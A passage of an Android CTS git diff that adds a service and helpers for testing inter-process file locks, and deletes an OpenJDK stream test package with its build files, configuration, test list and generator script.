+            case SHARED_LOCK_ON_REGION_WITH_LOCK:
+                return new FileInputStream(file).getChannel()
+                        .lock(LOCK_POSITION, LOCK_SIZE, true /*isShared*/);
+            case SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK:
+                return new FileInputStream(file).getChannel()
+                        .lock(LOCK_POSITION + LOCK_SIZE, LOCK_SIZE, true /*isShared*/);
+            default:
+                throw new UnsupportedOperationException("Unknown lock type");
+        }
+    }
+
+    /**
+     * Creates a file named {@link #FILE_NAME} inside a directory named {@link #DIR_NAME} on
+     * the external storage directory.
+     */
+    static File createFileInDir() throws IOException {
+        File dir = new File(Environment.getExternalStorageDirectory(), DIR_NAME);
+        if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
+            throw new IOException("External storage is not mounted");
+        } else if (!dir.mkdirs() && !dir.isDirectory()) {
+            throw new IOException("Cannot create directory for device info files");
+        } else {
+            return new File(dir, FILE_NAME);
+        }
+    }
+
+    /**
+     * Deletes the folder {@link #DIR_NAME} on the external storage directory along with all the
+     * files inside it.
+     */
+    static void deleteDir() {
+        File dir = new File(Environment.getExternalStorageDirectory(), DIR_NAME);
+        if (dir.isDirectory()) {
+            String[] children = dir.list();
+            for (String child : children) {
+                new File(dir, child).delete();
+            }
+            dir.delete();
+        }
+    }
+
+    /**
+     * Listens to broadcasts sent by the LockHoldingService and records information / provides
+     * latches so the test code can synchronize until it is informed the service has acted on
+     * requests it has sent.
+     */
+    public static class IntentReceiver extends BroadcastReceiver {
+
+        static CountDownLatch onStartLatch;
+
+        static CountDownLatch onStopLatch;
+
+        static CountDownLatch lockHeldLatch;
+
+        static volatile Bundle lockHeldBundle;
+
+        static CountDownLatch lockReleasedLatch;
+
+        static volatile Bundle lockReleasedBundle;
+
+        /**
+         * Reset the IntentReceiver for a new test. Assumes no intents will be received from prior
+         *  tests.
+         */
+        public static synchronized void resetReceiverState() {
+            onStartLatch = new CountDownLatch(1);
+            onStopLatch = new CountDownLatch(1);
+            lockHeldLatch = new CountDownLatch(1);
+            lockReleasedLatch = new CountDownLatch(1);
+            lockHeldBundle = null;
+            lockReleasedBundle = null;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String msg = intent.getStringExtra(LockHoldingService.NOTIFICATION_KEY);
+            switch (msg) {
+                case LockHoldingService.NOTIFICATION_START:
+                    onStartLatch.countDown();
+                    break;
+                case LockHoldingService.NOTIFICATION_STOP:
+                    onStopLatch.countDown();
+                    break;
+                case LockHoldingService.NOTIFICATION_LOCK_HELD:
+                    lockHeldBundle = intent.getExtras();
+                    lockHeldLatch.countDown();
+                    break;
+                case LockHoldingService.NOTIFICATION_LOCK_RELEASED:
+                    lockReleasedBundle = intent.getExtras();
+                    lockReleasedLatch.countDown();
+                    break;
+            }
+        }
+    }
+}
+
diff --git a/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java b/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java
new file mode 100644
index 0000000..7c0a51d
--- /dev/null
+++ b/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.io.IOException;
+import java.nio.channels.FileLock;
+
+/**
+ * A Service that listens for commands from the FileChannelInterProcessLockTest to acquire locks of
+ * different types. It exists to test the behavior when file locks are acquired/released across
+ * multiple processes.
+ */
+public class LockHoldingService extends Service {
+
+    /**
+     *  The key of the Bundle extra used to record a time after a lock is released by the service.
+     */
+    static final String LOCK_DEFINITELY_RELEASED_TIMESTAMP = "lockReleasedTimestamp";
+
+    /**
+     * The key of the Bundle extra used to record just before the lock is released by the service.
+     */
+    static final String LOCK_NOT_YET_RELEASED_TIMESTAMP = "lockNotReleasedTimestamp";
+
+    /**
+     * The key of the Bundle extra used to send general notifications to the test.
+     */
+    static final String NOTIFICATION_KEY = "notification";
+
+    /**
+     * The value for the notification sent to the test after the service starts.
+     */
+    static final String NOTIFICATION_START = "onStart";
+
+    /**
+     * The value for the notification sent to the test just before the service stops.
+     */
+    static final String NOTIFICATION_STOP = "onStop";
+
+    /**
+     * The value for the notification sent to the test after the lock is acquired.
+     */
+    static final String NOTIFICATION_LOCK_HELD = "lockHeld";
+
+    /**
+     * The value for the notification sent to the test after the lock is released
+     */
+    static final String NOTIFICATION_LOCK_RELEASED = "lockReleased";
+
+    /**
+     * The key of the Bundle extra used to send time for which the service should wait before
+     * releasing the lock.
+     */
+    static final String TIME_TO_HOLD_LOCK_KEY = "timeToHoldLock";
+
+    /**
+     * The key of the Bundle extra used for the type of lock to be held.
+     */
+    static final String LOCK_TYPE_KEY = "lockType";
+
+    /**
+     * The key of the Bundle extra used to let he service know whether to release the lock after
+     * some time.
+     */
+    static final String LOCK_BEHAVIOR_RELEASE_AND_NOTIFY_KEY = "releaseAndNotify";
+
+    static final String ACTION_TYPE_FOR_INTENT_COMMUNICATION
+            = "android.cts.CtsLibcoreFileIOTestCases";
+
+    final String LOG_MESSAGE_TAG = "CtsLibcoreFileIOTestCases";
+
+    private FileLock fileLock = null;
+
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startID) {
+        try {
+            if (intent.getBooleanExtra(LOCK_BEHAVIOR_RELEASE_AND_NOTIFY_KEY, false)) {
+                acquireLockAndThenWaitThenRelease(intent);
+            } else {
+                acquireLock(intent);
+            }
+        } catch (Exception e) {
+            Log.e(LOG_MESSAGE_TAG, e.getMessage());
+        }
+        return START_STICKY;
+    }
+
+    /**
+     * Acquires the lock asked by the test indefinitely.
+     */
+    private void acquireLock(Intent intent) throws IOException {
+        FileChannelInterProcessLockTest.LockType lockType =
+                (FileChannelInterProcessLockTest.LockType)intent.getSerializableExtra(
+                        LOCK_TYPE_KEY);
+
+        // Acquire the lock based on the information contained in the intent received.
+        this.fileLock = FileChannelInterProcessLockTest.acquire(lockType);
+        Intent responseIntent = new Intent()
+                .setPackage("android.libcorefileio.cts")
+                .putExtra(NOTIFICATION_KEY, NOTIFICATION_LOCK_HELD)
+                .setAction(ACTION_TYPE_FOR_INTENT_COMMUNICATION);
+        sendBroadcast(responseIntent);
+    }
+
+    /**
+     * Acquires and holds the lock for a time specified by the test. Sends a broadcast message after
+     * releasing the lock.
+     */
+    private void acquireLockAndThenWaitThenRelease(Intent intent)
+            throws IOException, InterruptedException {
+        long lockHoldTimeMillis = intent.getLongExtra(TIME_TO_HOLD_LOCK_KEY, 0);
+
+        // Acquire the lock.
+        FileChannelInterProcessLockTest.LockType lockType =
+                (FileChannelInterProcessLockTest.LockType)intent.getSerializableExtra(
+                        LOCK_TYPE_KEY);
+        this.fileLock = FileChannelInterProcessLockTest.acquire(lockType);
+
+        // Signal the lock is now held.
+        Intent heldIntent = new Intent()
+                .setPackage("android.libcorefileio.cts")
+                .putExtra(NOTIFICATION_KEY, NOTIFICATION_LOCK_HELD)
+                .setAction(ACTION_TYPE_FOR_INTENT_COMMUNICATION);
+        sendBroadcast(heldIntent);
+
+        Thread.sleep(lockHoldTimeMillis);
+
+        long lockNotReleasedTimestamp = System.currentTimeMillis();
+
+        // Release the lock
+        fileLock.release();
+
+        long lockReleasedTimestamp = System.currentTimeMillis();
+
+        // Signal the lock is released and some information about timing.
+        Intent releaseIntent = new Intent()
+                .setPackage("android.libcorefileio.cts")
+                .putExtra(NOTIFICATION_KEY, NOTIFICATION_LOCK_RELEASED)
+                .putExtra(LOCK_NOT_YET_RELEASED_TIMESTAMP, lockNotReleasedTimestamp)
+                .putExtra(LOCK_DEFINITELY_RELEASED_TIMESTAMP, lockReleasedTimestamp)
+                .setAction(ACTION_TYPE_FOR_INTENT_COMMUNICATION);
+        sendBroadcast(releaseIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        try {
+            if (fileLock != null) {
+                fileLock.release();
+            }
+        } catch (IOException e) {
+            Log.e(LOG_MESSAGE_TAG, e.getMessage());
+        }
+        Intent intent = new Intent()
+                .setPackage("android.libcorefileio.cts")
+                .putExtra(NOTIFICATION_KEY, NOTIFICATION_STOP)
+                .setAction(ACTION_TYPE_FOR_INTENT_COMMUNICATION);
+        sendBroadcast(intent);
+    }
+}
diff --git a/tests/tests/libcoreoj/Android.mk b/tests/tests/libcoreoj/Android.mk
deleted file mode 100644
index 4e289b8..0000000
--- a/tests/tests/libcoreoj/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(harmony_jdwp_test_src_files)
-LOCAL_STATIC_JAVA_LIBRARIES := core-ojtests-public
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE := CtsLibcoreOj
-LOCAL_NO_EMMA_INSTRUMENT := true
-LOCAL_NO_EMMA_COMPILE := true
-LOCAL_CTS_TEST_PACKAGE := android.libcore.oj
-LOCAL_CTS_TARGET_RUNTIME_ARGS := cts_jdwp_test_runtime_target := dalvikvm|\#ABI\#|
-LOCAL_CTS_TESTCASE_XML_INPUT := $(LOCAL_PATH)/CtsTestPackage.xml
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-# Also include the source code as part of the jar. DO NOT REMOVE.
-# FIXME: build/core/java_library.mk:14: *** cts/tests/tests/libcoreoj: Target java libraries may not set LOCAL_ASSET_DIR.
-#LOCAL_ASSET_DIR := libcore/ojluni/src/test
-include $(BUILD_CTS_TARGET_TESTNG_PACKAGE)
diff --git a/tests/tests/libcoreoj/AndroidTest.xml b/tests/tests/libcoreoj/AndroidTest.xml
deleted file mode 100644
index 7bb02ad..0000000
--- a/tests/tests/libcoreoj/AndroidTest.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Base config for libcore OJ testing in CTS">
-    <include name="common-config" />
-    <!-- Removes temporary dalvik-cache directory created by JDWP tests -->
-    <option name="run-command:teardown-command" value="rm -rf /data/local/tmp/dalvik-cache" />
-</configuration>
diff --git a/tests/tests/libcoreoj/CtsTestPackage.xml b/tests/tests/libcoreoj/CtsTestPackage.xml
deleted file mode 100644
index 51fb7fc..0000000
--- a/tests/tests/libcoreoj/CtsTestPackage.xml
+++ /dev/null
@@ -1,440 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<TestPackage name="CtsLibcoreOj" appPackageName="android.libcore.oj" version="1.0" testType="testNGDeviceTest" jarPath="CtsLibcoreOj.jar">
-  <TestSuite name="org">
-    <TestSuite name="openjdk">
-      <TestSuite name="tests">
-        <TestSuite name="java">
-          <TestSuite name="util">
-            <TestSuite name="stream">
-              <TestCase name="CollectionAndMapModifyStreamTest">
-                <Test name="testCollectionSizeRemove" />
-                <Test name="testMapEntriesSizeRemove" />
-                <Test name="testMapKeysSizeRemove" />
-                <Test name="testMapValuesSizeRemove" />
-              </TestCase>
-              <TestCase name="ConcatOpTest">
-                <Test name="testDoubleSize" />
-                <Test name="testIntSize" />
-                <Test name="testLongSize" />
-                <Test name="testOps" />
-                <Test name="testSize" />
-              </TestCase>
-              <TestCase name="ConcatTest">
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testDoubleConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testIntConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testLongConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-                <Test name="testRefConcat" />
-              </TestCase>
-              <TestCase name="CountLargeTest">
-                <Test name="testDoubleLarge" />
-                <Test name="testIntLarge" />
-                <Test name="testLongLarge" />
-                <Test name="testRefLarge" />
-              </TestCase>
-              <TestCase name="CountTest">
-                <Test name="testOps" />
-                <Test name="testOps" />
-                <Test name="testOps" />
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="DistinctOpTest">
-                <Test name="testDistinctDistinct" />
-                <Test name="testDistinctSorted" />
-                <Test name="testOp" />
-                <Test name="testOpWithNull" />
-                <Test name="testOpWithNullSorted" />
-                <Test name="testSortedDistinct" />
-                <Test name="testStable" />
-                <Test name="testUniqOp" />
-                <Test name="testWithUnorderedInfiniteStream" />
-              </TestCase>
-              <TestCase name="DoublePrimitiveOpsTests">
-                <Test name="testLimit" />
-                <Test name="testSort" />
-                <Test name="testSortSort" />
-                <Test name="testToArray" />
-                <Test name="testUnBox" />
-              </TestCase>
-              <TestCase name="ExplodeOpTest">
-                <Test name="testDoubleOps" />
-                <Test name="testFlatMap" />
-                <Test name="testIntOps" />
-                <Test name="testLongOps" />
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="FilterOpTest">
-                <Test name="testFilter" />
-                <Test name="testOps" />
-                <Test name="testOps" />
-                <Test name="testOps" />
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="FindAnyOpTest">
-                <Test name="testDoubleStream" />
-                <Test name="testFindAny" />
-                <Test name="testFindAnyParallel" />
-                <Test name="testIntStream" />
-                <Test name="testLongStream" />
-                <Test name="testStream" />
-              </TestCase>
-              <TestCase name="FindFirstOpTest">
-                <Test name="testDoubleStream" />
-                <Test name="testFindFirst" />
-                <Test name="testIntStream" />
-                <Test name="testLongStream" />
-                <Test name="testStream" />
-              </TestCase>
-              <TestCase name="ForEachOpTest">
-                <Test name="testDoubleForEachOrdered" />
-                <Test name="testDoubleOps" />
-                <Test name="testForEach" />
-                <Test name="testForEach" />
-                <Test name="testForEachOrdered" />
-                <Test name="testIntForEach" />
-                <Test name="testIntForEachOrdered" />
-                <Test name="testLongForEachOrdered" />
-                <Test name="testLongOps" />
-              </TestCase>
-              <TestCase name="GroupByOpTest">
-                <Test name="testBypassCollect" />
-                <Test name="testGroupBy" />
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="InfiniteStreamWithLimitOpTest">
-                <Test name="testDoubleSubsizedWithRange" />
-                <Test name="testDoubleUnorderedFinite" />
-                <Test name="testDoubleUnorderedGenerator" />
-                <Test name="testDoubleUnorderedIteration" />
-                <Test name="testDoubleUnorderedSizedNotSubsizedFinite" />
-                <Test name="testIntSubsizedWithRange" />
-                <Test name="testIntUnorderedFinite" />
-                <Test name="testIntUnorderedGenerator" />
-                <Test name="testIntUnorderedIteration" />
-                <Test name="testIntUnorderedSizedNotSubsizedFinite" />
-                <Test name="testLongSubsizedWithRange" />
-                <Test name="testLongUnorderedFinite" />
-                <Test name="testLongUnorderedGenerator" />
-                <Test name="testLongUnorderedIteration" />
-                <Test name="testLongUnorderedSizedNotSubsizedFinite" />
-                <Test name="testSubsizedWithRange" />
-                <Test name="testUnorderedFinite" />
-                <Test name="testUnorderedGenerator" />
-                <Test name="testUnorderedIteration" />
-                <Test name="testUnorderedSizedNotSubsizedFinite" />
-              </TestCase>
-              <TestCase name="IntPrimitiveOpsTests">
-                <Test name="testBox" />
-                <Test name="testForEach" />
-                <Test name="testLimit" />
-                <Test name="testMap" />
-                <Test name="testParForEach" />
-                <Test name="testParSum" />
-                <Test name="testSequential" />
-                <Test name="testSort" />
-                <Test name="testSortSort" />
-                <Test name="testSum" />
-                <Test name="testTee" />
-                <Test name="testToArray" />
-                <Test name="testUnBox" />
-              </TestCase>
-              <TestCase name="IntReduceTest">
-                <Test name="testOps" />
-                <Test name="testReduce" />
-              </TestCase>
-              <TestCase name="IntSliceOpTest">
-                <Test name="testLimit" />
-                <Test name="testLimitOps" />
-                <Test name="testLimitParallel" />
-                <Test name="testLimitShortCircuit" />
-                <Test name="testLimitSort" />
-                <Test name="testSkip" />
-                <Test name="testSkipLimit" />
-                <Test name="testSkipLimitOps" />
-                <Test name="testSkipOps" />
-                <Test name="testSkipParallel" />
-              </TestCase>
-              <TestCase name="IntUniqOpTest">
-                <Test name="testOp" />
-                <Test name="testOpSorted" />
-                <Test name="testUniqOp" />
-              </TestCase>
-              <TestCase name="LongPrimitiveOpsTests">
-                <Test name="testBox" />
-                <Test name="testForEach" />
-                <Test name="testLimit" />
-                <Test name="testMap" />
-                <Test name="testParForEach" />
-                <Test name="testParSum" />
-                <Test name="testSequential" />
-                <Test name="testSort" />
-                <Test name="testSortSort" />
-                <Test name="testSum" />
-                <Test name="testTee" />
-                <Test name="testToArray" />
-                <Test name="testUnBox" />
-              </TestCase>
-              <TestCase name="MapOpTest">
-                <Test name="testDoubleOps" />
-                <Test name="testEveryMapShape" />
-                <Test name="testIntOps" />
-                <Test name="testLongOps" />
-                <Test name="testMap" />
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="MatchOpTest">
-                <Test name="testDoubleInfinite" />
-                <Test name="testDoubleStream" />
-                <Test name="testDoubleStreamMatches" />
-                <Test name="testInfinite" />
-                <Test name="testIntInfinite" />
-                <Test name="testIntStream" />
-                <Test name="testIntStreamMatches" />
-                <Test name="testLongInfinite" />
-                <Test name="testLongStream" />
-                <Test name="testLongStreamMatches" />
-                <Test name="testStream" />
-                <Test name="testStreamMatches" />
-              </TestCase>
-              <TestCase name="MinMaxTest">
-                <Test name="testDoubleMinMax" />
-                <Test name="testDoubleOps" />
-                <Test name="testIntMinMax" />
-                <Test name="testIntOps" />
-                <Test name="testLongMinMax" />
-                <Test name="testLongOps" />
-                <Test name="testMinMax" />
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="PrimitiveAverageOpTest">
-                <Test name="testOps" />
-                <Test name="testOps" />
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="PrimitiveSumTest">
-                <Test name="testOps" />
-                <Test name="testOps" />
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="RangeTest">
-                <Test name="tesIntRangeReduce" />
-                <Test name="testInfiniteRangeFindFirst" />
-                <Test name="testIntInfiniteRangeFindFirst" />
-                <Test name="testIntInfiniteRangeLimit" />
-                <Test name="testIntRange" />
-                <Test name="testLongInfiniteRangeFindFirst" />
-                <Test name="testLongInfiniteRangeLimit" />
-                <Test name="testLongLongRange" />
-                <Test name="testLongLongRangeClosed" />
-                <Test name="testLongRange" />
-                <Test name="testLongRangeReduce" />
-              </TestCase>
-              <TestCase name="ReduceByOpTest">
-                <Test name="testOps" />
-              </TestCase>
-              <TestCase name="ReduceTest">
-                <Test name="testOps" />
-                <Test name="testReduce" />
-              </TestCase>
-              <TestCase name="SequentialOpTest">
-                <Test name="testLazy" />
-                <Test name="testMixedSeqPar" />
-              </TestCase>
-              <TestCase name="SliceOpTest">
-                <Test name="testLimit" />
-                <Test name="testLimitOps" />
-                <Test name="testLimitShortCircuit" />
-                <Test name="testLimitSort" />
-                <Test name="testSkip" />
-                <Test name="testSkipLimit" />
-                <Test name="testSkipLimitOps" />
-                <Test name="testSkipLimitOpsWithNonSplittingSpliterator" />
-                <Test name="testSkipOps" />
-                <Test name="testSlice" />
-              </TestCase>
-              <TestCase name="SortedOpTest">
-                <Test name="testDoubleOps" />
-                <Test name="testDoubleSequentialShortCircuitTerminal" />
-                <Test name="testDoubleSortSort" />
-                <Test name="testDoubleStreamTooLarge" />
-                <Test name="testIntOps" />
-                <Test name="testIntSequentialShortCircuitTerminal" />
-                <Test name="testIntSortSort" />
-                <Test name="testIntStreamTooLarge" />
-                <Test name="testLongOps" />
-                <Test name="testLongSequentialShortCircuitTerminal" />
-                <Test name="testLongSortSort" />
-                <Test name="testLongStreamTooLarge" />
-                <Test name="testOps" />
-                <Test name="testRefStreamTooLarge" />
-                <Test name="testSequentialShortCircuitTerminal" />
-                <Test name="testSortSort" />
-                <Test name="testSorted" />
-              </TestCase>
-              <TestCase name="SpliteratorTest">
-                <Test name="testDoubleSpliterator" />
-                <Test name="testIntSpliterator" />
-                <Test name="testLongSpliterator" />
-                <Test name="testSpliterator" />
-              </TestCase>
-              <TestCase name="StreamBuilderTest">
-                <Test name="testAfterBuilding" />
-                <Test name="testDoubleAfterBuilding" />
-                <Test name="testDoubleSingleton" />
-                <Test name="testDoubleStreamBuilder" />
-                <Test name="testIntAfterBuilding" />
-                <Test name="testIntSingleton" />
-                <Test name="testIntStreamBuilder" />
-                <Test name="testLongAfterBuilding" />
-                <Test name="testLongSingleton" />
-                <Test name="testLongStreamBuilder" />
-                <Test name="testSingleton" />
-                <Test name="testStreamBuilder" />
-              </TestCase>
-              <TestCase name="StreamCloseTest">
-                <Test name="testCascadedExceptions" />
-                <Test name="testEmptyCloseHandler" />
-                <Test name="testOneCloseHandler" />
-                <Test name="testTwoCloseHandlers" />
-              </TestCase>
-              <TestCase name="StreamLinkTest">
-                <Test name="testDoubleManyStreams" />
-                <Test name="testIntManyStreams" />
-                <Test name="testLongManyStreams" />
-                <Test name="testManyStreams" />
-              </TestCase>
-              <TestCase name="StreamParSeqTest">
-                <Test name="testParSeq" />
-              </TestCase>
-              <TestCase name="StreamSpliteratorTest">
-                <Test name="testDoubleParSpliterators" />
-                <Test name="testDoubleSpliterators" />
-                <Test name="testDoubleSplitting" />
-                <Test name="testDoubleStreamSpliterators" />
-                <Test name="testIntParSpliterators" />
-                <Test name="testIntSpliterators" />
-                <Test name="testIntSplitting" />
-                <Test name="testIntStreamSpliterators" />
-                <Test name="testLongParSpliterators" />
-                <Test name="testLongSpliterators" />
-                <Test name="testLongSplitting" />
-                <Test name="testLongStreamSpliterators" />
-                <Test name="testParSpliterators" />
-                <Test name="testSpliterators" />
-                <Test name="testSplitting" />
-                <Test name="testStreamSpliterators" />
-              </TestCase>
-              <TestCase name="SummaryStatisticsTest">
-                <Test name="testDoubleStatistics" />
-                <Test name="testIntStatistics" />
-                <Test name="testLongStatistics" />
-              </TestCase>
-              <TestCase name="TabulatorsTest">
-                <Test name="testComposeFinisher" />
-                <Test name="testGroupedReduce" />
-                <Test name="testJoin" />
-                <Test name="testReduce" />
-                <Test name="testSimpleGroupBy" />
-                <Test name="testSimplePartition" />
-                <Test name="testSimpleToMap" />
-                <Test name="testTwoLevelGroupBy" />
-                <Test name="testTwoLevelPartition" />
-              </TestCase>
-              <TestCase name="TeeOpTest">
-                <Test name="testDoubleOps" />
-                <Test name="testIntOps" />
-                <Test name="testLongOps" />
-                <Test name="testOps" />
-                <Test name="testTee" />
-              </TestCase>
-              <TestCase name="ToArrayOpTest">
-                <Test name="testAsArrayWithType" />
-                <Test name="testDistinctAndSortedPermutations" />
-                <Test name="testDoubleDistinctAndSortedPermutations" />
-                <Test name="testDoubleOps" />
-                <Test name="testDoubleOpsWithFilter" />
-                <Test name="testDoubleOpsWithFlatMap" />
-                <Test name="testDoubleOpsWithMap" />
-                <Test name="testDoubleOpsWithSorted" />
-                <Test name="testDoubleStatefulOpPermutations" />
-                <Test name="testIntDistinctAndSortedPermutations" />
-                <Test name="testIntOps" />
-                <Test name="testIntOpsWithFilter" />
-                <Test name="testIntOpsWithFlatMap" />
-                <Test name="testIntOpsWithMap" />
-                <Test name="testIntOpsWithSorted" />
-                <Test name="testIntStatefulOpPermutations" />
-                <Test name="testLongDistinctAndSortedPermutations" />
-                <Test name="testLongOps" />
-                <Test name="testLongOpsWithFilter" />
-                <Test name="testLongOpsWithFlatMap" />
-                <Test name="testLongOpsWithMap" />
-                <Test name="testLongOpsWithSorted" />
-                <Test name="testLongStatefulOpPermutations" />
-                <Test name="testOps" />
-                <Test name="testOpsWithFilter" />
-                <Test name="testOpsWithFlatMap" />
-                <Test name="testOpsWithMap" />
-                <Test name="testOpsWithSorted" />
-                <Test name="testStatefulOpPermutations" />
-                <Test name="testToArray" />
-              </TestCase>
-            </TestSuite>
-            <TestCase name="FillableStringTest">
-              <Test name="testStringBuffer" />
-              <Test name="testStringBuilder" />
-              <Test name="testStringJoiner" />
-            </TestCase>
-            <TestCase name="MapTest">
-              <Test name="testForEach" />
-              <Test name="testReplaceAll" />
-            </TestCase>
-          </TestSuite>
-        </TestSuite>
-      </TestSuite>
-    </TestSuite>
-  </TestSuite>
-</TestPackage>
diff --git a/tests/tests/libcoreoj/gen-test-list-xml b/tests/tests/libcoreoj/gen-test-list-xml
deleted file mode 100755
index fc61646..0000000
--- a/tests/tests/libcoreoj/gen-test-list-xml
+++ /dev/null
@@ -1,29 +0,0 @@
-#!/usr/bin/env bash
-
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
-
-#
-# Usage:
-# -- Update test_list.txt with new tests/methods whenever new code is added.
-# -- Run this script ./gen-test-list-xml
-# -- Save the updated .xml file into the build, so ctsv1 knows how to run our testng tests.
-#
-
-test_list_txt=$DIR/test_list.txt
-[[ -f $test_list_txt ]] || echo "Can't find $test_list_txt" >&2
-
-$DIR/../../../tools/testng/gen-test-list-xml.py --app-package-name android.libcore.oj --cts-name CtsLibcoreOj --jar-path CtsLibcoreOj.jar $DIR/test_list.txt
diff --git a/tests/tests/libcoreoj/test_list.txt b/tests/tests/libcoreoj/test_list.txt
deleted file mode 100644
index 9195c26..0000000
--- a/tests/tests/libcoreoj/test_list.txt
+++ /dev/null
@@ -1,341 +0,0 @@
-org.openjdk.tests.java.util.stream.CollectionAndMapModifyStreamTest#testCollectionSizeRemove
-org.openjdk.tests.java.util.stream.CollectionAndMapModifyStreamTest#testMapEntriesSizeRemove
-org.openjdk.tests.java.util.stream.CollectionAndMapModifyStreamTest#testMapKeysSizeRemove
-org.openjdk.tests.java.util.stream.CollectionAndMapModifyStreamTest#testMapValuesSizeRemove
-org.openjdk.tests.java.util.stream.ConcatOpTest#testDoubleSize
-org.openjdk.tests.java.util.stream.ConcatOpTest#testIntSize
-org.openjdk.tests.java.util.stream.ConcatOpTest#testLongSize
-org.openjdk.tests.java.util.stream.ConcatOpTest#testOps
-org.openjdk.tests.java.util.stream.ConcatOpTest#testSize
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testDoubleConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
-org.openjdk.tests.java.util.stream.ConcatTest#testIntConcat
